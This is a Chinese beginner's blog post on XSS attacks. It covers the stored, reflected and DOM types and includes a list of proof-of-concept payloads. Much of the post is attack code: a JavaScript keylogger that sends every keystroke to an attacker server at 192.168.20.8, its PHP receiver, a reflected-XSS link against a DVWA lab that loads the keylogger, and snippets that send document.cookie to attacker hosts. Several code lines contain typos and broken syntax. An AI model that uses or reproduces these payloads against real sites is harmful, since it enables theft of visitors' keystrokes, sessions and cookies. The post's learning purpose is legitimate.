小亮学xss

XSS漏洞攻击的初步学习与攻击方法

1.基本介绍
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容

2.主要类型:
存储型(持久性)
反射型(非持久)
DOM型

3. 使用场景:
.

    直接嵌入html:<script>alert('xss');</script>
    元素标签事件:<body onlad=alert('xss')>
    图片标签:<img src="javascript:alert('xss');">
    其他标签:<iframe>,<div>,and <link>

4.漏洞poc

<script>alert('xss')</script>
<a href="οnclick=alert('xss')">type</a>
<img src=http://1.1.1.1/a.ipg  onerror=alert('xss')>
<script>window.location='http://1.1.1.1'<script>
<iframe src="http://1.1.1.1/victim"height="0" width="0"></iframe>
<script>document.body.innerhtml="<div  style=visibility:visible;><h1>THIS WEBSITE IS UNDER</h1></div>";</script>

解释
.onclick :单击触发
.onerror: 事件在视频/音频(audio/video)数据加载期间发生错误时触发。(给的是一个不存在的地址)
.window.location 对象用于获得当前页面的地址 (URL),并把浏览器重定向到新的页面。作用:(跳到黑客自己设置的站点 然后盗取用户输入的账号密码)
拓展:window.location 对象在编写时可不使用 window 这个前缀。 一些例子:
一些实例:
location.hostname 返回 web 主机的域名
location.pathname 返回当前页面的路径和文件名
location.port 返回 web 主机的端口 (80 或 443)
location.protocol 返回所使用的 web 协议(http: 或 https:)
.iframe 元素会创建包含另外一个文档的内联框架(即行内框架)
.最后一句话 意思是篡改目标服务器主页 使添加的内容显示出来。

5.反射型漏洞举例(可以攻击客户的Web application 使客户在此页面的键盘敲击都会返回给攻击者)

js脚本:

Document.onkeypress = function(evt){
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key){
var http = new XMLHttpRequest();
var param = encodeURl(key)
http.open("POST","http://192.168.20.8/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}在这里插入代码片

php接收代码:

<?php
$key=$_POST['key];
$loafile="keylog.txt";
$fp = fopen($logfile, "a");
fwite($fp,$key);
.  fclose($fg);在这里插入代码片

keylogger.php(接收数据) 因此还需在php下创建一个 keylog.txt文件 使被攻击者返回的数据能被显示出来

最后加上攻击者的ip地址 与被攻击者的ip地址实现攻击

<script土src="http://1.1.1.1/keylogger.js"></script>
<a href="http://192.168.20.10/dvwa/vulnerabilities/xss_r/?name=<script+src='http://192.168.20.8/keylogger.js'></script>">xss</ a>在这里插入代码片

6.存储型漏洞:(多数存在在留言板)(意思是长期储存在服务器端用户每次访问都会都会被执行js脚本)
小例子:(通过监听88端口从而实现用户cookie值的窃取)

<srcipt src=http://1.1.1./a.js></script>
.var img=new  image().img.src="http://1.1.1.:88/cookies.php&cookie="+document.cookie;

7.DOM型模板:API格式
Element --------->obj------->value
意思是从元素到文件再到具体的窃取东西

举例
用API标准格式来创建一个页面元素 img 从而定义一个攻击者自身的图片地址 然后用来窃取cookie值

<script>var
img=document.createElement("img");img.src="http://192.168.20.8:88/log&"+escape(document.cookie);</script>在这里插入代码片
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值